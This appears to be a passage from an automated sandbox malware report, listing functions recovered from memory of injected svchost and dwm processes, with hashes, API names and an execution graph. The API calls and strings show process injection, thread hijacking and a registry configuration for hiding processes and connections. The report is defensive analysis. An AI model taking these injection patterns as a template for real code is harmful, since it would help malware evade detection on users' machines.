                                                                • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction Fuzzy Hash: 45614C7670064042FE659B65E58C3EEEBE1BF867C0F5D4515DA0A9BFB4EA3CD8438220
                                                                Function 0000014E41FDAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CallEncodePointerTranslator
                                                                • String ID: MOC$RCC
                                                                • API String ID: 3544855599-2084237596
                                                                • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction ID: 0789a3831c1f6d771d65473aec04d891a6e65c0c978cd43e319f5209d2f070c5
                                                                • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction Fuzzy Hash: F7614833705B848AEB209F65D4443EDB7E0FB84B98F084215EE4A57BA8DB38D596C714
                                                                Function 0000014E41FDAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                • String ID: csm$csm
                                                                • API String ID: 3896166516-3733052814
                                                                • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction ID: 321aa2bf97eac6cafb4f774fd1c13e020d27b9bfb404d6bee772e39a7e361af9
                                                                • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction Fuzzy Hash: 54516E722003808AEF648F26D5883A9B7E0FB94B95F1C4255DA9E87BE5CB38D453C718
                                                                Function 0000014E41FAA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                • String ID: csm$csm
                                                                • API String ID: 3896166516-3733052814
                                                                • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction ID: 9fc2ac829e4d419cfb4e4e7491d5e77e61521fb2b31f7c138b84e684f10f9101
                                                                • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction Fuzzy Hash: E0516E32200380CAEF648B659548398B7E0FB55BD4F1C4116DA9DC7FA5CB7ED466CB20
                                                                Function 0000014E41FA8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction ID: 0bce45575947cd2407113779943a525e14445a621b98b0471fe801dac2351894
                                                                • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction Fuzzy Hash: C951B4327412008EDF54CB15D40CB98B7E5FB94BE9F9C8124DE8683B6CE7B8D8428724
                                                                Function 0000014E41FA83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction ID: c159a0ba046949333dfa247496e2d25aa9719a0157f25d5229989bbc026eab31
                                                                • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction Fuzzy Hash: A2319E313416409AEB14DF11E848799B7E4FB44BD9F9D8018EE9B83BA8DB7CD942C724
                                                                Function 0000014E41FE2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: FileWrite$ConsoleErrorLastOutput
                                                                • String ID:
                                                                • API String ID: 2718003287-0
                                                                • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                                                • Instruction ID: afeff5cfcaf4403b8b152d041e9c12e6ce2064c04c3d4c674498ddf2345b7502
                                                                • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                                                • Instruction Fuzzy Hash: 44D1D072718B8089EB11CFA9D4443ECBBF1FB54798F194216CE5A97BAAEA34C507C350
                                                                Function 0000014E41FE2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: ConsoleErrorLastMode
                                                                • String ID:
                                                                • API String ID: 953036326-0
                                                                • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                                                • Instruction ID: cea13cf84bf215eda1d4e32a4ca8aa5317b936fd82c1a643056d64915862160e
                                                                • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                                                • Instruction Fuzzy Hash: 2091B372708B5485FF60DFA994883EDABE0BB44B98F1D4109DE0A977A5EB74C483C720
                                                                Function 0000014E41FD7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                • String ID:
                                                                • API String ID: 2933794660-0
                                                                • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                                                • Instruction ID: dfc3c1974cbad934db9993865ec08b5f9e443c71fc6a37ba405ddabd85e8d405
                                                                • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                                                • Instruction Fuzzy Hash: 65113032714F4589EF00CF60E8583E873B4FB59B68F480E25DA6D867A4DF78C1998390
                                                                Function 0000014E41FD253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: FileType
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3081899298-91387939
                                                                • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                                                • Instruction ID: a326b1bb8bb403e4a0d4c0446bf3a53fe52e6195dedbf9b24ed740f8b36a4abd
                                                                • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                                                • Instruction Fuzzy Hash: B171C236304B8185EF359E65D8483FAA7D4FB85784F4A0126DE0B83BA9DF35C6468750
                                                                Function 0000014E41FA9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CallTranslator
                                                                • String ID: MOC$RCC
                                                                • API String ID: 3163161869-2084237596
                                                                • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction ID: 9082f48436bddb50fbe074ea12ed5132107a6f235155bfae31550afec4f2ce97
                                                                • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction Fuzzy Hash: ED613736A00B848AEB20DFA5D4843DDB7A0FB44BC8F184215EF4957FA9DB78D596C720
                                                                Function 0000014E41FD2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: FileType
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3081899298-91387939
                                                                • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                                                • Instruction ID: cc360d09ba06bcdff2f15c29ced7a4e175476a6bb9ba5d9fe31b0890df6299d6
                                                                • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                                                • Instruction Fuzzy Hash: 7851E73230478181FF259A69A55C3FAE7E1FBC6750F8D0125DE4B83B6ECA39C50687A0
                                                                Function 0000014E41FE26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: ErrorFileLastWrite
                                                                • String ID: U
                                                                • API String ID: 442123175-4171548499
                                                                • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction ID: c83ac0f76dcb79476ddf21a95a19c8a865843251dc56904ff8b0029dd694ac40
                                                                • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction Fuzzy Hash: E941A232318B8082DF20CF65E8483E9A7A0FB98794F494022EE4EC77A4EB7CC542C750
                                                                Function 0000014E41FD94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFileHeaderRaise
                                                                • String ID: csm
                                                                • API String ID: 2573137834-1018135373
                                                                • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                                                • Instruction ID: 558f2c2fa83ee08c27e1fc5abc980bded73aea70065ff57803d74eae209385c4
                                                                • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                                                • Instruction Fuzzy Hash: 0F112832218B8482EF618B15F448399B7E5FB88B94F5D8220EE8D47B69DF3DC552CB00
                                                                Function 0000014E41FA7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: __std_exception_copy
                                                                • String ID: ierarchy Descriptor'$riptor at (
                                                                • API String ID: 592178966-758928094
                                                                • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction ID: eb669838bcd11bd9391b268dc568cb615196d67751b03d9664e942e19c7f9c9a
                                                                • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction Fuzzy Hash: F0E08671740B4490DF018F21E8442D873E0EF59B64B8C9122D95C46331FA3CD1FAC310
                                                                Function 0000014E41FA73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: __std_exception_copy
                                                                • String ID: Locator'$riptor at (
                                                                • API String ID: 592178966-4215709766
                                                                • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction ID: dcf211704ab779cfcff42d5391f5e7064cd144a077eba1243619bea389c199af
                                                                • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction Fuzzy Hash: 92E08671740B4480EF028F21D4401D8B3A0FB59B54B8C9122C94C46331EA3CD1E6C310
                                                                Function 0000014E41FD1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID:
                                                                • API String ID: 756756679-0
                                                                • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                                                • Instruction ID: f9751e398ec6f9e8c393d2d9c50e353c79f978f663c39b1dde9fddacf25f1213
                                                                • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                                                • Instruction Fuzzy Hash: E2115535705B8881EF059B66A8082AAB3E1FB89FD0F1D40289E4E83776DF78C842C310

                                                                Execution Graph

                                                                Execution Coverage:1.7%
                                                                Dynamic/Decrypted Code Coverage:95.2%
                                                                Signature Coverage:0%
                                                                Total number of Nodes:126
                                                                Total number of Limit Nodes:16
                                                                execution_graph 15120 1d15b0528c8 15122 1d15b05290e 15120->15122 15121 1d15b052970 15122->15121 15124 1d15b053844 15122->15124 15125 1d15b053851 StrCmpNIW 15124->15125 15126 1d15b053866 15124->15126 15125->15126 15126->15122 15127 1d15b02273c 15128 1d15b02276a 15127->15128 15129 1d15b0227c5 VirtualAlloc 15128->15129 15132 1d15b0228d4 15128->15132 15131 1d15b0227ec 15129->15131 15129->15132 15130 1d15b022858 LoadLibraryA 15130->15131 15131->15130 15131->15132 15133 1d15b05554d 15135 1d15b055554 15133->15135 15134 1d15b0555bb 15135->15134 15136 1d15b055637 VirtualProtect 15135->15136 15137 1d15b055671 15136->15137 15138 1d15b055663 GetLastError 15136->15138 15138->15137 15139 1d15b055cf0 15140 1d15b055cfd 15139->15140 15141 1d15b055d09 15140->15141 15149 1d15b055e1a 15140->15149 15142 1d15b055d8d 15141->15142 15143 1d15b055d3e 15141->15143 15144 1d15b055d66 SetThreadContext 15143->15144 15144->15142 15145 1d15b055e41 VirtualProtect FlushInstructionCache 15145->15149 15146 1d15b055efe 15147 1d15b055f1e 15146->15147 15161 1d15b0543e0 15146->15161 15157 1d15b054df0 GetCurrentProcess 15147->15157 15149->15145 15149->15146 15151 1d15b055f23 15152 1d15b055f77 15151->15152 15153 1d15b055f37 ResumeThread 15151->15153 15165 1d15b057940 15152->15165 15154 1d15b055f6b 15153->15154 15154->15151 15156 1d15b055fbf 15158 1d15b054e0c 15157->15158 15159 1d15b054e22 VirtualProtect FlushInstructionCache 15158->15159 15160 1d15b054e53 15158->15160 15159->15158 15160->15151 15164 1d15b0543fc 15161->15164 15162 1d15b05445f 15162->15147 15163 1d15b054412 VirtualFree 15163->15164 15164->15162 15164->15163 15166 1d15b057949 _log10_special 15165->15166 15167 1d15b057954 15166->15167 15170 1d15b058320 15166->15170 15167->15156 15169 1d15b058157 15169->15156 15173 1d15b058331 capture_previous_context 15170->15173 15171 1d15b05833a RtlLookupFunctionEntry 15172 1d15b058389 15171->15172 15171->15173 15172->15169 15173->15171 15173->15172 15174 1d15b053ab9 15179 1d15b053a06 15174->15179 15175 1d15b053a56 VirtualQuery 15177 1d15b053a70 15175->15177 15175->15179 15176 1d15b053a8a VirtualAlloc 15176->15177 15178 1d15b053abb GetLastError 15176->15178 15178->15179 15179->15175 15179->15176 15179->15177 15180 1d15b051abc 15185 1d15b051628 GetProcessHeap 15180->15185 15182 1d15b051ad2 Sleep SleepEx 15183 1d15b051acb 15182->15183 15183->15182 15184 1d15b051598 StrCmpIW StrCmpW 15183->15184 15184->15183 15186 1d15b051648 __free_lconv_mon 15185->15186 15230 1d15b051268 GetProcessHeap 15186->15230 15188 1d15b051650 15189 1d15b051268 2 API calls 15188->15189 15190 1d15b051661 15189->15190 15191 1d15b051268 2 API calls 15190->15191 15192 1d15b05166a 15191->15192 15193 1d15b051268 2 API calls 15192->15193 15194 1d15b051673 15193->15194 15195 1d15b05168e RegOpenKeyExW 15194->15195 15196 1d15b0518a6 15195->15196 15197 1d15b0516c0 RegOpenKeyExW 15195->15197 15196->15183 15198 1d15b0516ff RegOpenKeyExW 15197->15198 15199 1d15b0516e9 15197->15199 15201 1d15b051723 15198->15201 15202 1d15b05173a RegOpenKeyExW 15198->15202 15241 1d15b0512bc RegQueryInfoKeyW 15199->15241 15234 1d15b05104c RegQueryInfoKeyW 15201->15234 15205 1d15b051775 RegOpenKeyExW 15202->15205 15206 1d15b05175e 15202->15206 15207 1d15b0517b0 RegOpenKeyExW 15205->15207 15208 1d15b051799 15205->15208 15210 1d15b0512bc 13 API calls 15206->15210 15212 1d15b0517d4 15207->15212 15213 1d15b0517eb RegOpenKeyExW 15207->15213 15211 1d15b0512bc 13 API calls 15208->15211 15214 1d15b05176b RegCloseKey 15210->15214 15215 1d15b0517a6 RegCloseKey 15211->15215 15216 1d15b0512bc 13 API calls 15212->15216 15217 1d15b051826 RegOpenKeyExW 15213->15217 15218 1d15b05180f 15213->15218 15214->15205 15215->15207 15219 1d15b0517e1 RegCloseKey 15216->15219 15221 1d15b051861 RegOpenKeyExW 15217->15221 15222 1d15b05184a 15217->15222 15220 1d15b05104c 5 API calls 15218->15220 15219->15213 15225 1d15b05181c RegCloseKey 15220->15225 15223 1d15b051885 15221->15223 15224 1d15b05189c RegCloseKey 15221->15224 15226 1d15b05104c 5 API calls 15222->15226 15227 1d15b05104c 5 API calls 15223->15227 15224->15196 15225->15217 15228 1d15b051857 RegCloseKey 15226->15228 15229 1d15b051892 RegCloseKey 15227->15229 15228->15221 15229->15224 15252 1d15b066168 15230->15252 15232 1d15b051283 GetProcessHeap 15233 1d15b0512ae __free_lconv_mon 15232->15233 15233->15188 15235 1d15b0511b5 RegCloseKey 15234->15235 15236 1d15b0510bf 15234->15236 15235->15202 15236->15235 15237 1d15b0510cf RegEnumValueW 15236->15237 15239 1d15b051125 __free_lconv_mon 15237->15239 15238 1d15b05114e GetProcessHeap 15238->15239 15239->15235 15239->15237 15239->15238 15240 1d15b05116e GetProcessHeap HeapFree 15239->15240 15240->15239 15242 1d15b051327 GetProcessHeap 15241->15242 15243 1d15b05148a RegCloseKey 15241->15243 15246 1d15b05133e __free_lconv_mon 15242->15246 15243->15198 15244 1d15b051476 GetProcessHeap HeapFree 15244->15243 15245 1d15b051352 RegEnumValueW 15245->15246 15246->15244 15246->15245 15248 1d15b0513d3 GetProcessHeap 15246->15248 15249 1d15b05141e lstrlenW GetProcessHeap 15246->15249 15250 1d15b0513f3 GetProcessHeap HeapFree 15246->15250 15251 1d15b051443 StrCpyW 15246->15251 15254 1d15b05152c 15246->15254 15248->15246 15249->15246 15250->15249 15251->15246 15253 1d15b066177 15252->15253 15255 1d15b05157c 15254->15255 15258 1d15b051546 15254->15258 15255->15246 15256 1d15b051565 StrCmpW 15256->15258 15257 1d15b05155d StrCmpIW 15257->15258 15258->15255 15258->15256 15258->15257

                                                                Executed Functions

                                                                Function 000001D15B051628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                                                • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                                                • API String ID: 106492572-2879589442
                                                                • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction ID: 13550ac79eb4724effb3ddf8e2546f8d2f2fb5f4888d08e0bbb9c0b89ef02f30
                                                                • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction Fuzzy Hash: 6071FA36614A10B6EB109FA5F9517D923B4F7C6B88F501222DE4E47B69EF3CC455CB40
                                                                Function 000001D15B053790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModule
                                                                • String ID: wr
                                                                • API String ID: 1092925422-2678910430
                                                                • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction ID: 880b6c60eb87d0ef0cbd2e3ed8ecbe0dca2f535efe47e58d6dd0f34e2b7ec721
                                                                • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction Fuzzy Hash: 46112A36704741A2FF149F91F5043EA62B4F78AB85F54462ADE8A07B94EF2DC545CB04
                                                                Function 000001D15B055B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 59 1d15b055b30-1d15b055b57 60 1d15b055b59-1d15b055b68 59->60 61 1d15b055b6b-1d15b055b76 GetCurrentThreadId 59->61 60->61 62 1d15b055b78-1d15b055b7d 61->62 63 1d15b055b82-1d15b055b89 61->63 66 1d15b055faf-1d15b055fc6 call 1d15b057940 62->66 64 1d15b055b9b-1d15b055baf 63->64 65 1d15b055b8b-1d15b055b96 call 1d15b055960 63->65 69 1d15b055bbe-1d15b055bc4 64->69 65->66 72 1d15b055c95-1d15b055cb6 69->72 73 1d15b055bca-1d15b055bd3 69->73 77 1d15b055e1f-1d15b055e30 call 1d15b0574bf 72->77 78 1d15b055cbc-1d15b055cdc GetThreadContext 72->78 75 1d15b055bd5-1d15b055c18 call 1d15b0585c0 73->75 76 1d15b055c1a-1d15b055c8d call 1d15b054510 call 1d15b0544b0 call 1d15b054470 73->76 88 1d15b055c90 75->88 76->88 92 1d15b055e35-1d15b055e3b 77->92 81 1d15b055ce2-1d15b055d03 78->81 82 1d15b055e1a 78->82 81->82 91 1d15b055d09-1d15b055d12 81->91 82->77 88->69 94 1d15b055d92-1d15b055da3 91->94 95 1d15b055d14-1d15b055d25 91->95 96 1d15b055e41-1d15b055e98 VirtualProtect FlushInstructionCache 92->96 97 1d15b055efe-1d15b055f0e 92->97 106 1d15b055e15 94->106 107 1d15b055da5-1d15b055dc3 94->107 102 1d15b055d27-1d15b055d3c 95->102 103 1d15b055d8d 95->103 104 1d15b055e9a-1d15b055ea4 96->104 105 1d15b055ec9-1d15b055ef9 call 1d15b0578ac 96->105 100 1d15b055f1e-1d15b055f2a call 1d15b054df0 97->100 101 1d15b055f10-1d15b055f17 97->101 121 1d15b055f2f-1d15b055f35 100->121 101->100 110 1d15b055f19 call 1d15b0543e0 101->110 102->103 112 1d15b055d3e-1d15b055d88 call 1d15b053970 SetThreadContext 102->112 103->106 104->105 113 1d15b055ea6-1d15b055ec1 call 1d15b054390 104->113 105->92 107->106 108 1d15b055dc5-1d15b055e10 call 1d15b053900 call 1d15b0574dd 107->108 108->106 110->100 112->103 113->105 125 1d15b055f77-1d15b055f95 121->125 126 1d15b055f37-1d15b055f75 ResumeThread call 1d15b0578ac 121->126 128 1d15b055f97-1d15b055fa6 125->128 129 1d15b055fa9 125->129 126->121 128->129 129->66
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Thread$Current$Context
                                                                • String ID:
                                                                • API String ID: 1666949209-0
                                                                • Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                                                • Instruction ID: 7f67c70ac212b12994ff942ee07b8926dee8e59bb44ae92ba10b444ee9ac5dd4
                                                                • Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                                                • Instruction Fuzzy Hash: 4ED17776205B88A6DA709B46F59439AB7B0F7C9B84F100216EACE47BA9DF3CC551CF40
                                                                Function 000001D15B0550D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
